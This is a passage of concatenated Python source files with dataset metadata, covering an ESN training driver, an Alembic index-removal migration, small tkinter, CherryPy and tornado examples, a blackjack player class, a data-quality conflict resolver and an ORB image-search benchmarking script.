)\n\n def __init__(self,\n config,\n output_directory=None):\n\n self._make_output_directory(output_directory)\n self._create_logger()\n self.set_config(config)\n\n # Look for ESN or LazyESN\n if \"esn\" in self.config.keys():\n self.ESN = ESN\n elif \"lazyesn\" in self.config.keys():\n self.ESN = LazyESN\n\n self.esn_name = self.ESN.__name__.lower()\n\n self.walltime = Timer(filename=self.logfile)\n self.localtime = Timer(filename=self.logfile)\n\n self.print_log(\" --- Driver Initialized --- \\n\")\n self.print_log(self)\n\n\n def __str__(self):\n mystr = \"Driver\\n\"+\\\n f\" {'output_directory:':<28s}{self.output_directory}\\n\"+\\\n f\" {'logfile:':<28s}{self.logfile}\\n\"\n return mystr\n\n\n def __repr__(self):\n return self.__str__()\n\n\n def run_training(self):\n \"\"\"Perform :class:`ESN` or :class:`LazyESN` training, learn the readout matrix weights.\n Resulting readout weights are stored in the :attr:`output_directory` in the zarr store ``esn-weights.zarr`` or ``lazyesn-weights.zarr``, depending on which model is used. See :meth:`ESN.to_xds` for what is stored in this dataset.\n\n Required Parameter Sections:\n xdata: all options are used to create an :class:`XData` object. If ``subsampling`` is provided, it must have slicing options labelled \"training\".\n esn or lazyesn: all options are used to create a :class:`ESN` or :class:`LazyESN` object, depending on the name of the section, case does not matter\n training: all options are passed to :meth:`ESN.train` or :meth:`LazyESN.train`\n\n Example Config YAML File:\n\n Highlighted regions are used by this routine, other options are ignored.\n\n .. literalinclude:: ../config.yaml\n :language: yaml\n :emphasize-lines: 1-8, 12-45\n \"\"\"\n\n self.walltime.start(\"Starting Training\")\n\n # setup the data\n self.localtime.start(\"Setting up Data\")\n data = XData(**self.config[\"xdata\"])\n with open(self.logfile, 'a') as file:\n with redirect_stdout(file):\n xda = data.setup(mode=\"training\")\n self.localtime.stop()\n\n # setup ESN\n self.localtime.start(f\"Building {self.esn_name}\")\n esn = self.ESN(**self.config[self.esn_name])\n esn.build()\n self.print_log(str(esn))\n self.localtime.stop()\n\n self.localtime.start(f\"Training {self.esn_name}\")\n with open(self.logfile, 'a') as file:\n with redirect_stdout(file):\n esn.train(xda, **self.config[\"training\"])\n self.localtime.stop()\n\n self.localtime.start(f\"Storing {self.esn_name} Weights\")\n ds = esn.to_xds()\n ds.to_zarr(join(self.output_directory, f\"{self.esn_name}-weights.zarr\"), mode=\"w\")\n self.localtime.stop()\n\n self.walltime.stop(\"Total Walltime\")\n\n\n def run_macro_training(self):\n \"\"\"Perform Bayesian optimization on macro-scale ESN parameters using surrogate modeling toolbox.\n Resulting optimized parameters are written to ``config-optim.yaml`` and to the log file ``stdout.log`` in the :attr:`output_directory`\n\n Required Parameter Sections:\n xdata: all options are used to create an :class:`XData` object. If ``subsampling`` is provided, it must have slicing options labelled \"training\" and \"macro_training\".\n esn or lazyesn: all options are used to create a :class:`ESN` or :class:`LazyESN` object, depending on the name of the section, case does not matter\n training: all options are passed to :meth:`ESN.train` or :meth:`LazyESN.train`\n macro_training: with the following subsections\n\n - \"parameters\" (required): with key/value pairs as the parameters to be optimized, and their bounds as values\n\n - \"transformations\" (optional): with any desired transformations on the input variables pre-optimization, see :func:`xesn.optim.transform` for example\n\n - \"forecast\" (required): with options for sample forecasts to optimize macro parameters with, see :func:`get_samples` for a list of parameters (other than xda)\n\n - \"ego\" (required): with parameters except for evaluation/cost function (which is defined by a :class:`CostFunction`) and surrogate (assumed to be ``smt.surrogate_models.KRG``) as passed to `smt.applications.EGO `_\n\n - \"cost_terms\" (optional): forms the cost function defined in :class:`CostFunction` by determining the weights for the NRMSE and PSD\\_NRMSE cost terms (default: ``{\"nrmse\": 1}``)\n\n - \"cost_upper_bound\" (optional): remove sensitivity to values larger than this number by setting all ``numpy.inf``, ``numpy.nan``, and any value greater than this threshold to this number (default: ``1.e9``)\n\n Example Config YAML File:\n\n Highlighted regions are used by this method, other options are ignored.\n\n .. literalinclude:: ../config.yaml\n :language: yaml\n :emphasize-lines: 1-9, 12-45, 59-85\n \"\"\"\n\n self.walltime.start(\"Starting Macro Training\")\n\n # setup the data\n self.localtime.start(\"Setting up Data\")\n data = XData(**self.config[\"xdata\"])\n # First macro data sets\n with open(self.logfile, 'a') as file:\n with redirect_stdout(file):\n xda = data.setup(mode=\"macro_training\")\n\n macro_data, indices = get_samples(xda=xda, **self.config[\"macro_training\"][\"forecast\"])\n if \"sample_indices\" not in self.config[\"macro_training\"][\"forecast\"]:\n self.overwrite_config({\"macro_training\": {\"forecast\": {\"sample_indices\": indices}}})\n\n # Now training data\n with open(self.logfile, 'a') as file:\n with redirect_stdout(file):\n xda = data.setup(mode=\"training\")\n self.localtime.stop()\n\n # create cost function\n self.localtime.start(\"Setting up cost function\")\n cf = CostFunction(self.ESN, xda, macro_data, self.config)\n self.localtime.stop()\n\n # optimize\n self.localtime.start(\"Starting Bayesian Optimization\")\n with open(self.logfile, 'a') as file:\n with redirect_stdout(file):\n p_opt = optimize(cf, **self.config[\"macro_training\"][\"ego\"])\n self.localtime.stop()\n\n config_optim = {self.esn_name: update_esn_kwargs(p_opt)}\n self.overwrite_config(config_optim)\n outname = os.path.join(self.output_directory, \"config-optim.yaml\")\n with open(outname, \"w\") as f:\n yaml.dump(self.config, stream=f)\n\n self.print_log(f\"Optimal configuration written to {outname}\")\n\n self.walltime.stop()\n\n\n def run_test(self):\n \"\"\"Make test predictions using a pre-trained ESN.\n Results are stored in a zarr store in the :attr:`output_directory` as ``test-results.zarr``.\n\n Required Parameter Sections:\n xdata: all options are used to create an :class:`XData` object. If ``subsampling`` is provided, it must have slicing options labelled \"testing\".\n esn_weights: all options are passed to :func:`from_zarr` to create the :class:`ESN` or :class:`LazyESN` object\n testing: all options passed to :func:`get_samples`, except the required \"xda\" parameter for that function. In this section the user can also optionally provide the ``\"cost_terms\"`` dict similar to what is used in :meth:`run_macro_training`. If this is included, it adds NRMSE and/or PSD_NRMSE metrics to the ``test-results.zarr`` store, based on what is included in this dictionary. Note that the values in ``\"cost_terms\"`` in this section are ignored - weighting can be done offline.\n\n Example Config YAML File:\n\n Highlighted regions are used by this method, other options are ignored.\n\n .. literalinclude:: ../config.yaml\n :language: yaml\n :emphasize-lines: 1-7, 10-14, 47-57\n \"\"\"\n\n self.walltime.start(\"Starting Testing\")\n\n # setup the data\n self.localtime.start(\"Setting up Data\")\n data = XData(**self.config[\"xdata\"])\n with open(self.logfile, 'a') as file:\n with redirect_stdout(file):\n xda = data.setup(mode=\"testing\")\n self.localtime.stop()\n\n # first get cost_terms, so we can unpack config conveniently in get_samples\n cfg = self.config.copy()\n cost_terms = cfg[\"testing\"].pop(\"cost_terms\", {})\n\n # pull samples from data\n self.localtime.start(\"Get Test Samples\")\n test_data, indices = get_samples(xda=xda, **cfg[\"testing\"])\n if \"sample_indices\" not in self.config[\"testing\"]:\n self.overwrite_config({\"testing\": {\"sample_indices\": indices}})\n self.localtime.stop()\n\n # setup ESN from zarr\n self.localtime.start(\"Read ESN Zarr Store\")\n esn = from_zarr(**self.config[\"esn_weights\"])\n self.localtime.stop()\n\n # make predictions\n self.localtime.start(\"Make Test Predictions\")\n zpath = join(self.output_directory, \"test-results.zarr\")\n for i, tester in enumerate(test_data):\n xds = esn.test(\n tester,\n n_steps=self.config[\"testing\"][\"n_steps\"],\n n_spinup=self.config[\"testing\"][\"n_spinup\"]\n )\n xds[\"prediction\"] = data.normalize_inverse(xds[\"prediction\"], keep_attrs=True)\n xds[\"truth\"] = data.normalize_inverse(xds[\"truth\"], keep_attrs=True)\n xds.attrs[\"initial_condition_index\"] = indices[i]\n\n # evaluate cost, if applicable\n if \"nrmse\" in cost_terms:\n xds[\"nrmse\"] = nrmse(xds, drop_time=False)\n\n if \"psd_nrmse\" in cost_terms:\n xds[\"psd_truth\"] = psd(xds[\"truth\"])\n xds[\"psd_prediction\"] = psd(xds[\"prediction\"])\n xds[\"psd_nrmse\"] = nrmse({\n \"truth\": xds[\"psd_truth\"],\n \"prediction\": xds[\"psd_prediction\"],\n }, drop_time=False)\n\n # Make container and store this sample\n if i == 0:\n self._make_container(zpath, xds, n_samples=len(test_data))\n\n xds = xds.expand_dims({\"sample\": [i]})\n region = {d: slice(None, None) for d in xds.dims}\n region[\"sample\"] = slice(i, i+1)\n xds.to_zarr(zpath, region=region)\n\n self.localtime.stop()\n\n self.walltime.stop()\n\n\n def _make_container(self, zstore_path, xds, n_samples, **kwargs):\n \"\"\"Create a container zarr store with empty values for the test results\"\"\"\n\n cds = xr.Dataset()\n cds[\"sample\"] = xr.DataArray(\n np.arange(n_samples),\n coords={\"sample\": np.arange(n_samples)},\n dims=\"sample\",\n attrs={\"description\": \"test sample index\"},\n )\n for d in xds.dims:\n cds[d] = xds[d]\n\n for key in xds.data_vars:\n dims = (\"sample\",) + xds[key].dims\n chunks = xds[key].data.chunksize if isinstance(xds[key].data, darray.Array) else \\\n tuple(-1 for _ in xds[key].dims)\n chunks = (1,) + chunks\n shape = (n_samples,) + xds[key].shape\n\n cds[key] = xr.DataArray(\n data=darray.zeros(\n shape=shape,\n chunks=chunks,\n dtype=xds[key].dtype,\n ),\n coords={\"sample\": cds[\"sample\"], **{d: xds[d] for d in xds[key].dims}},\n dims=dims,\n attrs=xds[key].attrs.copy(),\n )\n\n cds.to_zarr(zstore_path, compute=False, **kwargs)\n\n\n def _make_output_directory(self, out_dir):\n \"\"\"Make provided output directory. If none given, make a unique directory:\n output-driver-XX, where XX is 00->99\n\n Args:\n out_dir (str or None): path to dump output, or None for default\n\n Sets Attributes:\n out_dir (str): path to created output directory\n \"\"\"\n if out_dir is None:\n\n # make a unique default directory\n i=0\n out_dir = f\"output-driver-{i:02d}\"\n while os.path.isdir(out_dir):\n if i>99:\n raise ValueError(\"Hit max number of default output directories...\")\n out_dir = f\"output-driver-{i:02d}\"\n i = i+1\n os.makedirs(out_dir)\n\n elif not os.path.isdir(out_dir):\n print(\"Creating directory for output: \",out_dir)\n os.makedirs(out_dir)\n\n self.output_directory = out_dir\n\n\n def _create_logger(self):\n \"\"\"Create a logfile and logger for writing all text output to\n\n Sets Attributes:\n logfile (str): path to logfile: ouput_directory / stdout.log\n logname (str): name of logger\n logger (:obj:`logging.Logger`): used to write to file\n \"\"\"\n\n # create a log file\n self.logfile = os.path.join(self.output_directory, 'stdout.log')\n\n # create a logger\n self.logname = f'driver_logger'\n self.logger = logging.getLogger(self.logname)\n self.logger.setLevel(logging.DEBUG)\n\n fh = logging.FileHandler(self.logfile)\n fmt = logging.Formatter(style='{')\n fh.setFormatter(fmt)\n self.logger.addHandler(fh)\n\n\n def set_config(self, config):\n \"\"\"Read the nested parameter dictionary or take it directly, and write a copy for\n reference in the :attr:`output_directory`.\n\n Args:\n config (str or dict): filename (path) to the configuration yaml file, or nested dictionary with parameters\n\n Sets Attribute:\n config (dict): with a big nested dictionary with all parameters\n \"\"\"\n\n if isinstance(config, str):\n config = self.load(config)\n\n elif not isinstance(config, dict):\n raise TypeError(f\"Driver.set_config: Unrecognized type for experiment config, must be either yaml filename (str) or a dictionary with parameter values\")\n\n # make the section names lower case\n lconfig = {}\n for key in config.keys():\n lconfig[key.lower()] = config[key]\n\n self._check_config_options(lconfig)\n self.config = lconfig\n\n outname = os.path.join(self.output_directory, \"config.yaml\")\n with open(outname, \"w\") as f:\n yaml.dump(self.config, stream=f)\n\n\n def overwrite_config(self, new_config):\n \"\"\"Overwrite specific parameters with the values in the nested dict new_config.\n\n Args:\n new_config (dict): nested dictionary with values to overwrite object's parameters with\n\n Sets Attribute:\n config (dict): with the nested dictionary based on the input config file\n\n Example:\n >>> driver = Driver(\"config.yaml\")\n >>> print(driver.config)\n {'xdata': {'dimensions': ['x', 'time'],\n 'zstore_path': 'lorenz96-12d.zarr', ...},\n 'esn': {'n_input': 12,\n 'n_output': 12,\n 'n_reservoir': 1000, ...}}\n >>> new_config = {'esn':{'n_reservoir':2000}, 'xdata': {'zstore_path': 'new_data.zarr'}}\n >>>\n >>> driver.overwrite_params(new_config)\n >>> print(driver.config)\n {'xdata': {'dimensions': ['x', 'time'],\n 'zstore_path': 'new_data.zarr', ...},\n 'esn': {'n_input': 12,\n 'n_output': 12,\n 'n_reservoir': 2000, ...}}\n \"\"\"\n\n config = self.config.copy()\n for section, this_dict in new_config.items():\n for key, val in this_dict.items():\n s = section.lower()\n if not isinstance(val, dict):\n self.print_log(f\"Driver.overwrite_config: Overwriting driver.config['{s}']['{key}'] with {val}\")\n if s in config:\n config[s][key] = val\n else:\n config[s] = {key: val}\n else:\n for k2, v2 in val.items():\n self.print_log(f\"Driver.overwrite_config: Overwriting driver.config['{s}']['{key}']['{k2}'] with {v2}\")\n if s in config:\n if key in config[s]:\n config[s][key][k2] = v2\n else:\n config[s][key] = {k2: v2}\n else:\n config[s] = {key: {k2: v2}}\n\n\n # Overwrite our copy of config.yaml in output_dir and reset attr\n self.set_config(config)\n\n\n def print_log(self, *args, **kwargs):\n \"\"\"Print to log file as specified in :attr:`logname`\"\"\"\n with open(self.logfile, 'a') as file:\n with redirect_stdout(file):\n print(*args, **kwargs)\n\n\n @staticmethod\n def load(fname):\n \"\"\"An extension of :func:`yaml.safe_load` that recognizes 1e9 as float not string\n (i.e., don't require the 1.0 or the sign +9).\n\n Thanks to .\n\n Args:\n fname (str): path to yaml file\n\n Returns:\n config (dict): with the contents of the yaml file\n \"\"\"\n\n\n loader = yaml.SafeLoader\n loader.add_implicit_resolver(\n u'tag:yaml.org,2002:float',\n re.compile(u'''^(?:\n [-+]?(?:[0-9][0-9_]*)\\\\.[0-9_]*(?:[eE][-+]?[0-9]+)?\n |[-+]?(?:[0-9][0-9_]*)(?:[eE][-+]?[0-9]+)\n |\\\\.[0-9_]+(?:[eE][-+][0-9]+)?\n |[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\\\\.[0-9_]*\n |[-+]?\\\\.(?:inf|Inf|INF)\n |\\\\.(?:nan|NaN|NAN))$''', re.X),\n list(u'-+0123456789.'))\n\n with open(fname, \"r\") as f:\n config = yaml.load(f, Loader=loader)\n return config\n\n\n def _check_config_options(self, config):\n \"\"\"Make sure we recognize each configuration section name, and each option name.\n No type or value checking\n\n Args:\n config (dict): the big nested options dictionary\n \"\"\"\n\n # Check sections\n expected = {\n \"xdata\": XData,\n \"esn\": ESN,\n \"lazyesn\": LazyESN,\n \"training\": LazyESN.train,\n \"macro_training\": None,\n \"testing\": None,\n \"esn_weights\": None}\n bad_sections = []\n for key in config.keys():\n try:\n assert key in expected.keys()\n except:\n bad_sections.append(key)\n\n if len(bad_sections)>0:\n raise KeyError(f\"Driver._check_config_options: unrecognized config section(s): {bad_sections}\")\n\n # Check options in each section\n for section in config.keys():\n Func = expected[section]\n if Func is not None:\n kw, *_ = inspect.getfullargspec(Func)\n for key in config[section].keys():\n try:\n assert key in kw\n except:\n raise KeyError(f\"Driver._check_config_options: unrecognized option {key} in section {section}\")\n","repo_name":"timothyas/xesn","sub_path":"xesn/driver.py","file_name":"driver.py","file_ext":"py","file_size_in_byte":21137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2189586627","text":"from alembic import op\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a54c57ada3f5'\ndown_revision = '1c2c61ac1f4c'\nbranch_labels = None\ndepends_on = None\n\nresource_tables = [(t, \"id\") for t in [\n \"instance\",\n \"instance_disk\",\n \"instance_net_int\",\n \"swift_account\",\n \"volume\",\n \"ceph_account\",\n \"network\",\n \"identity\",\n \"ipmi\",\n \"stack\",\n \"image\"\n]]\nhistory_tables = [(\"%s_history\" % t, \"revision\")\n for t, c in resource_tables]\nother_tables = [(\"metric\", \"id\"), (\"archive_policy\", \"name\"),\n (\"archive_policy_rule\", \"name\"),\n (\"resource\", \"id\"),\n (\"resource_history\", \"id\")]\n\n\ndef upgrade():\n bind = op.get_bind()\n # NOTE(sileht): mysql can't delete an index on a foreign key\n # even this one is not the index used by the foreign key itself...\n # In our case we have two indexes fk_resource_history_id_resource_id and\n # and ix_resource_history_id, we want to delete only the second, but mysql\n # can't do that with a simple DROP INDEX ix_resource_history_id...\n # so we have to remove the constraint and put it back...\n if bind.engine.name == \"mysql\":\n op.drop_constraint(\"fk_resource_history_id_resource_id\",\n type_=\"foreignkey\", table_name=\"resource_history\")\n\n for table, colname in resource_tables + history_tables + other_tables:\n op.drop_index(\"ix_%s_%s\" % (table, colname), table_name=table)\n\n if bind.engine.name == \"mysql\":\n op.create_foreign_key(\"fk_resource_history_id_resource_id\",\n \"resource_history\", \"resource\", [\"id\"], [\"id\"],\n ondelete=\"CASCADE\")\n","repo_name":"gnocchixyz/gnocchi","sub_path":"gnocchi/indexer/alembic/versions/a54c57ada3f5_removes_useless_indexes.py","file_name":"a54c57ada3f5_removes_useless_indexes.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"en","doc_type":"code","stars":291,"dataset":"github-code","pt":"75"} +{"seq_id":"7477018346","text":"import tkinter\n\n\nmy_frame = tkinter.Frame(width = 50 , height = 25 , bg=\"yellow\")\nmy_frame.place(x=0,y=0)\n\nmy_frame2= tkinter.Frame(width = 50 , height = 25 , bg=\"red\")\nmy_frame2.place(x=0,y=100)\n\n\nwhile 1:\n my_frame.update()\n\n# oefening achterhaal wat er hier allemaal gebeurd :-) waarom krijgen we iets te zien?\n# wordt er een toplevel window gegenereerd? waar/wanneer\n# is mainloop een methode van Frame?\n","repo_name":"WesleyVercoutere/RaspberryPi_CVO","sub_path":"RPi-2/RPi2-7/oef33_voorbeeld1_tkinter.py","file_name":"oef33_voorbeeld1_tkinter.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8461985978","text":"# function to resolve conflicts from log file\n# Inputs: (i) log_issue - an object read the log file (ii) secondary_issue - a similar issue read from the secondary\n# report,\n# (iii) threshold_l, and threshold_u are the thresholds corresponding to the check type CA-006\n# returns a set of objects that would replace the secondary_issue in the secondary report\n\nimport re\n\n\nperct_re = re.compile(r'(\\d+(?:\\.\\d+)?)')\n\n\ndef extract_miss(s):\n m = perct_re.match(s)\n if not m:\n return\n\n p = m.group()\n\n try:\n return int(p)\n except:\n pass\n\n return float(p)\n\n\ndef resolve(log_issue, secondary_issue, threshold_l, threshold_u):\n result_issue_list = [] # list of objects to be returned. Issue class\n diff_check_code = 'CA-006'\n diff_check_type = 'unexpected change in missingness of a field between data cycles'\n\n # extract % of missing data from previous cycle\n m_prev = extract_miss(secondary_issue.finding)\n\n # extract % of missing data in current cycle\n m_curr = extract_miss(log_issue.finding)\n\n if m_prev is None:\n raise ValueError('no missing percentage in secondary issue')\n\n if m_curr is None:\n raise ValueError('no missing percentage in log issue')\n\n m_diff = m_curr - m_prev\n\n # if the finding is the same\n if m_diff == 0:\n return\n\n # prepare a new issue showing difference between missingness\n new_issue = log_issue.copy()\n new_issue.check_code = diff_check_code\n new_issue.check_type = diff_check_type\n new_issue.finding = str(m_diff) + '%'\n new_issue.status = 'new'\n\n # mutate the old issue in the secondary report with latest findings\n mutated_issue = secondary_issue.copy()\n mutated_issue.finding = str(m_curr) + '%'\n\n if secondary_issue.status == 'under review':\n if m_prev == 100 or m_curr == 100 or m_diff > threshold_u or m_diff < threshold_l: # outside acceptable range\n result_issue_list.append(new_issue)\n result_issue_list.append(mutated_issue)\n if threshold_u > m_diff > threshold_l: # if difference within acceptable limits\n result_issue_list.append(mutated_issue)\n elif secondary_issue.status == 'persistent':\n if m_prev == 100 or m_curr == 100 or m_diff > threshold_u or m_diff < threshold_l: # outside acceptable range\n result_issue_list.append(new_issue)\n result_issue_list.append(log_issue)\n if threshold_u > m_diff > threshold_l: # if different within acceptable limits\n result_issue_list.append(mutated_issue)\n\n return result_issue_list\n","repo_name":"Mihail-Kostov/snk.dev-assistant","sub_path":"data/projects/github.com/PEDSnet/Data-Quality-Analysis/Tools/ConflictResolution/resolvers/ba_001.py","file_name":"ba_001.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30307825682","text":"# \n# Testing Web interface\n#\nimport cherrypy\n\n\nclass Root(object):\n @cherrypy.expose\n def index(self):\n cherrypy.log(\"INDEX HIT!\")\n return \"Index page\"\n\nclass Monitor(object):\n @cherrypy.expose\n def index(self):\n return \"Monitor\"\n\nclass Configuration(object):\n @cherrypy.expose\n def index(self):\n return \"Configuration\"\n \n # http://127.0.0.1:8080/configuration/test_me_too\n @cherrypy.expose(alias=\"test_me_too\")\n def test_me(self):\n return \"Configuration2\"\n\n\n\nif __name__ == '__main__':\n # Global Configuration\n cherrypy.config.update( \n {\n 'log.screen': True,\n 'log.access_file': '',\n 'log.error_file': ''\n }\n )\n\n # App Configuration\n conf = {}\n conf_root = {}\n conf_monitor = {}\n conf_configuration = {}\n\n # Mount Applications\n cherrypy.tree.mount(Root(), '/', conf_root)\n cherrypy.tree.mount(Monitor(), '/monitor', conf_monitor)\n cherrypy.tree.mount(Configuration(), '/configuration', conf_configuration)\n\n # Run the engine\n cherrypy.engine.start()\n cherrypy.engine.block()\n\n\n","repo_name":"adamjakab/QMonitor","sub_path":"qmon.py","file_name":"qmon.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23219057058","text":"class Player:\n \"\"\"\n Definiujemy gracza\n \"\"\"\n def __init__(self, name):\n self.cards_score = 0\n self.cards = []\n self.player_name = name\n\n def add_card(self, card):\n \"\"\"\n Dodaje jedna kartę do kart gracza\n\n Args:\n card (int): zwracamy wartość karty\n \"\"\"\n if card.card_value in [\"Jack\", \"Queen\", \"King\"]:\n self.cards_score += 10\n elif card.card_value == \"Ace\":\n if len(self.cards) > 2:\n self.cards_score += 1\n else:\n self.cards_score += 11\n else:\n self.cards_score += int(card.card_value)\n self.cards.append(card)\n return self.cards_score\n\n\n def show_cards(self):\n \"\"\"Zwraca karty danego gracza.\n\n Returns:\n str: lista kart gracza\n \"\"\"\n my_cards = \"\"\n my_cards = [ (my_cards + str(card)) for card in list(self.cards)]\n return my_cards\n\n","repo_name":"WojRep/WebAPI4BlackJack","sub_path":"blackjack/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5983484541","text":"\"\"\"Example of stylized checkbox, get form data from checkbox.\ncheckbox style and getting data by js (jquery)\n\"\"\"\nimport asyncio\nfrom tornado import web, autoreload\nimport os\nimport json\n\n\nclass MainHandler(web.RequestHandler):\n '''page with a checkbox'''\n def get(self):\n self.render(\"./static/index11.html\")\n\n\n\nsettings = {\n \"static_path\": os.path.join(\n os.path.dirname(__file__), \"static\"\n ), \n}\n\n\ndef make_app():\n print(settings)\n\n return web.Application(\n [\n (r\"/\", MainHandler)\n ],\n **settings, autoreload=True,\n debug=True\n )\n\n\nasync def main():\n application = make_app()\n application.listen(8888)\n await asyncio.Event().wait()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"alina1412/example_tornado_js","sub_path":"11-checkbox/app11.py","file_name":"app11.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5850800365","text":"import os\nimport pickle\nimport random\nimport time\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom imutils import paths\nfrom kneed import KneeLocator\n\nimport Accuracy as accuracy\nimport ImageSearch_Algo_Hash\nimport ImageSearch_Algo_HSV\nimport ImageSearch_Algo_ORB\nimport ImageSearch_Algo_RGB\nimport ImageSearch_Algo_SIFT\nimport ImageSearch_Plots as myplots\nimport Thresholding\n\n# # --------------- Reload modules on :\n# %load_ext autoreload\n# %autoreload 2\n\n\n# --------------- TEST PARAMETERS ----------------------#\n# TESTNAME = \"Data519_RESIZE320\"\nTESTNAME = \"Data519_ORB_KP_nCluster\"\n\n# --------------- VAR COMMONS------------------\n\nIMGDIR = r'./imagesbooks/'\n# IMGDIR = r'./images/imagesbooks_DENOISE2/'\n# IMGDIR = r'./images/imagesbooks_S160/'\n# IMGDIR = r'./images/imagesbooks_S320/'\n# IMGDIR = r'./images/imagesbooks_CT2.0/'\n# IMGDIR = r\"V:\\\\Download\\\\imagesbooks\\\\\"\n# IMGDIRPROCESSED = ['']*5\n# IMGDIRPROCESSED[0] = r\"V:\\\\Download\\\\imagesbooks1\\\\\"\n# IMGDIRPROCESSED[1] = r\"V:\\\\Download\\\\imagesbooks2\\\\\"\n# IMGDIRPROCESSED[2] = r\"V:\\\\Download\\\\imagesbooks3\\\\\"\n# IMGDIRPROCESSED[3] = r\"V:\\\\Download\\\\imagesbooks4\\\\\"\n# IMGDIRPROCESSED[4] = r\"V:\\\\Download\\\\imagesbooks_warp\\\\\"\n\n# --------------- CONFIG PARAMETERS ----------------------#\n\nORB_FEATURES_LIMIT = 100\nORB_N_CLUSTERS = 500\nSIFT_N_CLUSTERS = 500\nSIFT_FEATURES_LIMIT = 100\nLOWE_RATIO = 0.7\nSIFT_PREDICTIONS_COUNT = 100\nRGB_PARAMETERCORRELATIONTHRESHOLD = 0.70 # not needed for generation\nkneeHSV = 2\nkneeRGB = 2\nkneeORB = 2\nkneeSIFT = 2\nHASHLENGTH = 16\n\n# --------------- IMAGES ----------------------#\nimagepaths = (list(paths.list_images(IMGDIR)))\nmyDataFiles = pd.DataFrame( {'file' : imagepaths })\n\n\n\n\nfor kp in [100, 200, 300, 400, 500]:\n\n\n # ----------- GENERATE ALL FEATURES & SAVE ------------ #\n\n # GEN ORB\n orb_features_limit = kp\n\n\n\n mydataORB, mytime1 = ImageSearch_Algo_ORB.GEN_ORB_FEATURES(imagepaths, orb_features_limit)\n print(\"ORB Feature Generation time :\", mytime1)\n savefile = 'opt/' + TESTNAME + '_PandasDF_ORB_Features_kp'+ str(orb_features_limit)\n ImageSearch_Algo_ORB.ORB_SAVE_FEATURES (mydataORB, savefile)\n print(\"ORB Feature saved to : \", savefile)\n # -- END\n \n\n print(\"## Feature Generation Complete.\")\n\n\n # ----------- GENERATE ALL TREES ------------ #\n print(\"## Tree Generation Started for kp\", kp)\n\n for n in [50, 100, 500, 1000, 2000, 3000, 4000, 5000] :\n # SIFT FV Tree and Cluster\n n_clusters = n\n\n # ORB FV Tree and Cluster\n savefile = 'opt/' + TESTNAME + '_ORB_Tree_kp'+str(kp)+'Cluster' + str(n_clusters)\n myORBtree, myORBmodel, myORBFVHist = ImageSearch_Algo_ORB.ORB_CREATE_TREE_MODEL(mydataORB, savefile, n_clusters)\n\n print(\"## ORB Tree completed for kp\", kp, \"n_cluster\", n_clusters)\n\n\n print(\"## Tree Generation Complete for kp\", kp)\n\n# ----------- LOAD FEATUTES, TREES from file and RUN ------------ #\n\n# Initialize Stats \nResultStats = pd.DataFrame()\n\nfor kp in [100, 200, 300, 400, 500]:\n for n in [50, 100, 500, 1000, 2000, 3000, 4000, 5000] :\n\n n_clusters = n \n \n # Files\n # file_ORB_Cluster = 'opt/' + 'test' + '_ORB_Cluster' + str(kneeORB)\n file_ORB_Feature = 'opt/' + TESTNAME + '_PandasDF_ORB_Features_kp'+ str(kp)\n file_ORB_TreeCluster = 'opt/' + TESTNAME + '_ORB_Tree_kp'+str(kp)+'Cluster' + str(n_clusters)\n \n # # Features\n # mydataSIFT = ImageSearch_Algo_SIFT.SIFT_LOAD_FEATURES (file_SIFT_Feature)\n mydataORB = ImageSearch_Algo_ORB.ORB_LOAD_FEATURES(file_ORB_Feature)\n\n # # Tree & Clusters\n myORBtree, myORBmodel, myORBFVHist = ImageSearch_Algo_ORB.ORB_Load_Tree_Model(file_ORB_TreeCluster)\n\n\n ################################################################################\n # ALGO CALLS #\n ################################################################################\n\n # # ---------- search ORB BOVW Tree\n def search_ORB_BOVW(returnCount=100, write=False):\n imagematches, searchtime = ImageSearch_Algo_ORB.ORB_SEARCH_TREE(q_path, myORBmodel, myORBtree, mydataORB, returnCount=100, kp=kp)\n if write:\n a ,d, ind, cnt = accuracy.accuracy_matches(q_path, imagematches, 20 )\n # print('Accuracy =', a, '%', '| Quality:', d )\n # print('Count', cnt, ' | position', ind)\n row_dict['acc_orb_tree'] = a\n row_dict['index_orb_tree'] = ind\n row_dict['Count_orb_tree'] = cnt\n row_dict['quality_orb_tree'] = d\n row_dict['time_orb_tree'] = searchtime\n \n return imagematches, searchtime\n\n\n #######################################################################\n # ----------- DATA COLLECTION START ------------ #\n\n # initialize\n Results = pd.DataFrame(columns=['file'])\n\n start = time.time()\n sample = 100\n for q_path in imagepaths[:sample]:\n row_dict = {'file':q_path}\n\n \n search_ORB_BOVW(write=True)\n\n # search_ORB_BOVW(write=True) \n \n Results = Results.append( row_dict, ignore_index=True)\n\n # ---------- SAVE ALL FILES TO DISK\n # Save Frame to csv\n Results.to_csv( 'opt/' + TESTNAME + '_RESULTS_kp'+str(kp)+'Cluster'+ str(n_clusters)+'.csv')\n # print('Data Collection Completed kp'+str(kp)+' Cluster' + str(n_clusters))\n\n print ('kp:%5d' %(kp), 'n:%5d t: %2.4f' %(n, (time.time() - start)/sample), \"\\tACC: %2.2f\" %(Results['acc_orb_tree'].mean()), \"COUNT: %2.2f\" %(Results['Count_orb_tree'].mean()) )\n\n ResultStats = ResultStats.append ({'kp': kp, 'n_cluster': n, 'Acc': Results['acc_orb_tree'].mean(), 'Count': Results['Count_orb_tree'].mean(), 'Acc_std': Results['acc_orb_tree'].std(), 'Count_std': Results['Count_orb_tree'].std(), 'Time': Results['time_orb_tree'].mean()}, ignore_index=True)\n\n\nResultStats.to_csv( 'opt/' + TESTNAME + 